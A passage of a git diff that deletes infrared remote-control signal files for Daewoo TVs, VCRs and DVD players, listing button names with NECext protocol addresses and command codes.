NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: ANGLE/DIGEST_SPEED -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: TITLE/PB -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 20 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 23 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 25 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 26 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 27 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 29 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 2C 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 37 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3C 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir deleted file mode 100644 index 62de517eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CODE1_VID_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: CODE1_VID_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0E 00 00 00 -# -name: CODE1_POWER_OFF -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: CODE1_POWER_ON -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: CODE4_POWER_OFF -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: CODE4_POWER_ON -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: CODE1_VIDE_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 23 00 00 00 -# -name: CODE1_VID_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2C 00 00 00 -# -name: CODE1_VID_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir deleted file mode 100644 index edd0ae451..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CODE2_POWER_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: CODE2_POWER_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir deleted file mode 100644 index 5dc600a56..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CODE3_POWER_OFF -type: parsed -protocol: NECext -address: 06 06 00 00 -command: 0F 00 00 00 -# -name: CODE3_POWER_ON -type: parsed -protocol: NECext -address: 06 06 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir deleted file mode 100644 index 7946fcc02..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: MOVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: DEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: IN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir deleted file mode 100644 index dfbe21642..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: phi -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: play -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: fwd -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: rew -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: pause -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: dot -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: next -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: tv_vcr -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: pr+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: pr- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: a_sel -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: sp_lp -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: TR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1C 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: pal_sec -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: eject -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: menu -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 29 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 31 00 00 00 -# -name: index+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 33 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 35 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 36 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 37 00 00 00 -# -name: show_view -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 39 00 00 00 -# -name: index- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir deleted file mode 100644 index bd7cafc5e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NUM0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 90 00 00 00 -# -name: NUM1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 91 00 00 00 -# -name: NUM2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 92 00 00 00 -# -name: NUM3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 93 00 00 00 -# -name: NUM4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 94 00 00 00 -# -name: NUM5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 95 00 00 00 -# -name: NUM6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 96 00 00 00 -# -name: NUM7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 97 00 00 00 -# -name: NUM8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 98 00 00 00 -# -name: NUM9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 99 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9A 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A0 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A1 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A2 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A3 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A4 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A5 00 00 00 -# -name: SREW -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A6 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A7 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A8 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A9 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AA 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AB 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AC 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AD 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AE 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AF 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B0 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B1 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B3 00 00 00 -# -name: KEY_3D -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B4 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B5 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B8 00 00 00 -# -name: SCART -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BA 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BB 00 00 00 -# -name: SFFWD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BC 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BE 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir deleted file mode 100644 index b649b57d8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: Volume- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: Volume+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: Stop -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: Play -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: Forward -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: Rewind -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: Yello -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: Channel+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: Channel- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: Rigth -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1E 00 00 00 -# -name: Red -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 26 00 00 00 -# -name: Green -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 27 00 00 00 -# -name: Blue -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir deleted file mode 100644 index f51630573..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: Move -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: Del -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: Src -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir deleted file mode 100644 index 7c5be9bec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ch0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: ch1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: ch2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: ch3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: ch4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: ch5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: ch6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: ch7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: ch8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: ch9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: KEY_O -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: tv/vcr -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: prup -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: prdown -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: ad -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: asel -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: sp/lp -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: svc -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1C 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: gt30 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1E 00 00 00 -# -name: pal/sec -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: qs -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 27 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 29 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 31 00 00 00 -# -name: indexup -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 33 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 35 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 36 00 00 00 -# -name: sv/v+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 39 00 00 00 -# -name: indexdown -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir deleted file mode 100644 index fb9d8d5a2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 12 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 13 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 17 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 18 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 19 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1A 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1B 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1C 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: wide -type: parsed 